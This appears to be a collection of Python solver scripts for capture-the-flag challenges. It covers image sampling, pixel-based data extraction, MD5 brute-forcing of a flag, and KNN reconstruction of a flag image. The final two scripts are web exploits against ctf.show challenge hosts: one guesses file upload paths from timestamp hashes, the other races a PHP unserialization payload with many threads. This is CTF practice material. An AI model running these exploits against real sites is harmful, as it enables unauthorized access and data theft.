def NinePointSamplingAnalyze(image):
    width, height = image.size
    imgObject = image.convert("RGB")
    pixels = imgObject.load()
    samplings = []
    for i in range(3):
        for j in range(3):
            samplePixel = pixels[(width - 1) if j == 2 else (width // 2) * j, (height - 1) if i == 2 else (height // 2) * i]
            samplings.append(samplePixel)
    image.close()
    return samplings

def SamplingMatch(modelSample, sample):
    flag = 0
    for i in range(9):
        if sample[i] == modelSample["sample"][i]:
            flag += 1
    return flag

def SamplingBestRotate(modelSample, sample):
    flags = []
    for i in range(4):
        flags.append(SamplingMatch(modelSample, sample))
        sample = SamplingRotate(sample)
    return max(flags), flags.index(max(flags)) * (-90)

def SamplingRotate(sample):
    newSamplings = []
    index = [6, 3, 0, 7, 4, 1, 8, 5, 2]
    for i in range(9):
        newSamplings.append(sample[index[i]])
    return newSamplings

def SamplingBestSolve(modelSamplings, sample):
    flags = []
    degrees = []
    for i in range(len(modelSamplings)):
        flag, degree = SamplingBestRotate(modelSamplings[i], sample)
        flags.append(flag)
        degrees.append(degree)
    return max(flags), flags.index(max(flags)), degrees[flags.index(max(flags))]

from PIL import Image
image = Image.open("extracted.png").convert("RGB")

extractedFile = open("extracted.txt", "w")
width, height = image.size
widthPiece = width // 5
heightPiece = height // 20

for x in range(heightPiece):
    for y in range(widthPiece):
        pixel = image.getpixel((5 * y, 20 * x))
        colorByte = str((pixel[0] if pixel[0] != 0 else pixel[1] if pixel[1] != 0 else pixel[2]))
        extractedFile.write("{} ".format(colorByte))
        print("[+] Written {}".format(colorByte))
extractedFile.close()

#! /usr/bin/env python 3.7 (3394)
# Compiled at: 1969-12-31 18:00:00
#Powered by BugScaner
from PIL import Image
import re, hashlib, random
flag = 'flag{jiu_bu_gao_su_ni}'
if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
    m = hashlib.md5()
    m.update(flag.encode('ascii'))
    m = m.hexdigest()
    col = []
    for i in range(0, 24, 2):
        tmp = int(m[i:i + 2], 16)
        tmp += random.randint(-5, 5)
        col += [tmp]

    img = Image.new('RGB', (1024, 512))
    for i in range(4):
        timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
        img.paste(timg, (i * 256, 0))

    img.save('C:/Users/Administrator/Desktop/setu.png')

import re
import hashlib

colors = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
for i in range(48, 125):
    for j in range(48, 125):
        for k in range(48, 125):
            for n in range(48, 125):
                flag = "flag{D" + chr(i) + chr(j) + chr(k) + chr(n) + "}"
                if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
                    m = hashlib.md5()
                    m.update(flag.encode('ascii'))
                    m = m.hexdigest()
                    runCount = 0
                    for x in range(0, 24, 2):
                        color = colors[runCount]
                        tmp = int(m[x:x + 2], 16)
                        if -5 < (tmp - color) < 5:
                            runCount += 1
                            continue
                        elif x == 22:  # 23 - 1
                            print(flag)
                            exit(0)
                        else:
                            break

# coding:utf-8
from numpy import *


##给出训练数据以及对应的类别
def createDataSet():
    groups = []
    labels = []
    for line in open("t.txt"):
        group = []
        label = line[0]
        line = line[2:]
        line = line.lstrip("[").rstrip("]\n").split(",")
        for x in line:
            group.append(int(x))
        groups.append(group)
        labels.append(label)
    print(groups)
    return array(groups), labels


###通过KNN进行分类
def classify(input, dataSet, label, k):
    dataSize = dataSet.shape[0]
    ####计算欧式距离
    diff = tile(input, (dataSize, 1)) - dataSet
    sqdiff = diff ** 2
    squareDist = sum(sqdiff, axis=1)  ###行向量分别相加，从而得到新的一个行向量
    dist = squareDist ** 0.5

    ##对距离进行排序
    sortedDistIndex = argsort(dist)  ##argsort()根据元素的值从大到小对元素进行排序，返回下标

    classCount = {}
    for i in range(k):
        voteLabel = label[sortedDistIndex[i]]
        ###对选取的K个样本所属的类别个数进行统计
        classCount[voteLabel] = classCount.get(voteLabel, 0) + 1
    ###选取出现的类别次数最多的类别
    maxCount = 0
    for key, value in classCount.items():
        if value > maxCount:
            maxCount = value
            classes = key

    return classes

dataSet, labels = createDataSet()
inputs = []
for line in open("flag.txt"):
    input = []
    line = line.lstrip("[").rstrip("]\n").split(",")
    for x in line:
        input.append(int(x))
    inputs.append(input)

file = open("KNNresulta.txt", "w")
for input in inputs:
    output = classify(array(input), dataSet, labels, 2)
    file.write(output)
    print(output)
file.close()

for x in range(3, 78289 // 2 + 1):
    if 78289 % x == 0:
        print("[*] Found number {}".format(x))

from PIL import Image

flagFile = open("KNNresulta.txt", "r")
flagStream = flagFile.read().rstrip("\n")

image = Image.new("RGB", (79, 991))
for i in range(79):
    for j in range(991):
        pixel = (255, 255, 255) if int(flagStream[i * 991 + j]) else (0, 0, 0)
        image.putpixel((i, j), pixel)
image = image.transpose(Image.FLIP_TOP_BOTTOM)
image.save("result.png")

import hashlib
import requests
import time


ENV = "http://e2c57b3b-c22d-4267-bef2-8e47e9b13b4e.chall.ctf.show/"
def composeUrl(timeNow):
    return "{}upload/{}.gif".format(ENV, (hashlib.md5(str(int(timeNow)).encode()).hexdigest())[:8])


while True:
    url = "{}upload.php".format(ENV)
    file = {
        'file': ('exp.gif', open("trigger.gif", 'rb'), "image/gif")
    }
    response = requests.post(url=url, files=file)
    now = time.time()
    nowUrl = composeUrl(now - 1)
    accessResponse = requests.get(nowUrl)
    print("[+] Trying with url {}".format(nowUrl))
    if("install.php" not in accessResponse.text):
        print("[*] Found! {}".format(nowUrl))
        exit()
    else:
        time.sleep(0.2)

import requests
import threading

ENV = "http://2acf732a-6d3b-4c16-b9f2-532ae48ca97e.chall.ctf.show/"
def Unserialization():
    print("[+] Unserialization thread lanched")
    while True:
        param = {
            "unser": 'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}'
        }
        requests.get(url="{}ctfshowgetflaghhhh".format(ENV),params=param)


def GetFlag():
    print("[+] Get flag thread lanched")
    while True:
        response = requests.get(url="{}flag.txt".format(ENV))
        if("install.php" not in response.text):
            print("[*] Found flag in {}".format(response.content.decode("UTF-8")))
            event.clear()
        else:
            print("[!] Get flag thread retry")


event = threading.Event()
for i in range(20):
    threading.Thread(target=Unserialization, args=()).start()
    threading.Thread(target=GetFlag, args=()).start()